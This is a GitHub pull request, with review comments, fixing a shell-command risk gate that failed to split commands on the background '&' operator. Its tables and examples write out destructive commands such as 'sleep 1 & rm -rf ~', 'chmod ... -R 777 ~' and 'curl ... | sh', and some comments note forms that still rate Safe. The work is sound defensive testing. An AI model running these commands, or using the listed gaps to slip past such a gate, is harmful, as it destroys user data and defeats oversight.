Skip to content

fix(command-risk): split segments on background operator & - #1974

Open
ShryukGrandhi wants to merge 2 commits into
1jehuang:masterfrom
ShryukGrandhi:fix/bug-472
Open

ShryukGrandhi wants to merge 2 commits into
1jehuang:masterfrom
ShryukGrandhi:fix/bug-472

Conversation

@ShryukGrandhi

Copy link
Copy Markdown

Summary

split_segments in jcode-command-risk did not split on a single &, so sleep 1 & rm -rf ~ was assessed as one sleep command and came back Safe. |& had the same problem because it was tokenized as | plus a stray &.

Fixes #1973

Changes

  • Add & to SEGMENT_SEPARATORS, so the command after a background operator gets assessed on its own.
  • Tokenize |& as a single | operator, so the next command still counts as receiving a pipe.
  • &>file still works: the redirect target ends up in its own segment and is checked like any other redirect. >&N and 2>&1 are handled by the > branch and are not affected.

Testing

  • New regression test assess_tests::background_operator_separates_commands. It fails on master (Safe instead of Catastrophic) and passes with this change.
  • cargo test -p jcode-command-risk: 86 passed.
  • cargo fmt -p jcode-command-risk --check and cargo clippy -p jcode-command-risk --all-targets are clean.

Signed-off-by: ShryukGrandhi <85529990+ShryukGrandhi@users.noreply.github.com>
@greptile-apps

greptile-apps Bot commented Oct 25, 2026 •

Copy link
Copy Markdown
Contributor

RetriggerView in GreptileConfidence Score: 5/5

[Medium impact] No outstanding findings block merging. The current code addresses both previously reported issues.

Summary

The PR makes commands after a background & get their own risk check.

  • Background commands get checked without confusing pipes or redirects.

Both previous findings are addressed. No outstanding findings block merging.

Reviews (2) · Last reviewed commit: "fix(command-risk): keep &> and &>> redir..." · Reviewed by Greptile

Comment thread crates/jcode-command-risk/src/tokenize.rs
Comment thread crates/jcode-command-risk/src/assess_tests.rs
Signed-off-by: ShryukGrandhi <85529990+ShryukGrandhi@users.noreply.github.com>
@ianalitis

Copy link
Copy Markdown
Contributor

Independently verified against current master (1bccbff75), since this branch is based on b09a8a5ff and is 33 commits behind.

Repro confirmed on master. assess("sleep 1 & rm -rf ~") → Safe, one segment, target sleep. So this is a real false negative in the gate, not a cosmetic tokenizer issue.

Applies cleanly to current master. Cherry-picked da07bd161 and 9b4ae0bad onto 1bccbff75 with no conflicts, then:

cargo test -p jcode-command-risk --lib
test result: ok. 87 passed; 0 failed

Your two new tests pass there too, and chmod &>/dev/null -R 777 ~ stays Catastrophic in the rebased tree.

One interaction to be aware of. #932 (jcode-command-risk redirect operands) edits the same '&' | '|' match arm in tokenize(). I stacked both locally to check they do not fight: rebased #1974 + #932 → 89 passed, 0 failed, and the only merge conflict is a trivial append at the end of assess_tests.rs (both PRs add tests to the file tail). Combined behaviour is what you would want:

command result
sleep 1 & rm -rf ~ Catastrophic [~]
true &rm -rf / Catastrophic [/]
chmod &>/dev/null -R 777 ~ Catastrophic
rm -rf build-xyz &>/dev/null Low [build-xyz]
rm -rf x 2 >/dev/null Low [x, 2] (the space keeps 2 a real file, as the shell does)

So the two can land in either order; whichever lands second needs only that one-hunk rebase. Rebased branch is available if useful.


— Jcode agent (automated triage), on behalf of @1jehuang

@ianalitis

Copy link
Copy Markdown
Contributor

Thanks for this. I verified it independently rather than by reading the diff.

I built a throwaway harness against the crate's public assess API with the same RiskContext (working_dir=/home/u/proj, home_dir=/home/u) and ran it on your head 9b4ae0bad and on clean master 67e15b8c9:

Case master this PR
rm -rf ~ Catastrophic Catastrophic
sleep 1 & rm -rf ~ Safe Catastrophic
true &rm -rf / Safe Catastrophic
chmod &>/home/u/important -R 777 ~ Catastrophic Catastrophic (target kept as operand)
11 ordinary background forms (cmd & next, a && b &, trailing &) Safe Safe, no new positives
ls |& rm -f pipe, not immediate pipe, not immediate

So the reported bug is fixed and I could not produce a regression in the &>/|& behavior the second commit protects.

Two notes, neither a blocker:

  1. Pre-existing and unchanged by this PR, so out of scope here: echo hi &>>/etc/passwd returns Safe (append never marks a target), and curl -s http://x | sh -s returns Safe (pipe-to-shell is not rated destructive). Both are identical on master.
  2. fix(command-risk): resolve relative targets after cd, stop reading redirects as operands #1978 also edits crates/jcode-command-risk/src/tokenize.rs (relative cd targets, is_redirect_target). The two changes are behaviorally compatible but will conflict textually, so one of you will need a rebase.

— Jcode agent (automated triage), on behalf of @1jehuang

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Command risk gate rates sleep 1 & rm -rf ~ as Safe (background & not treated as separator)

2 participants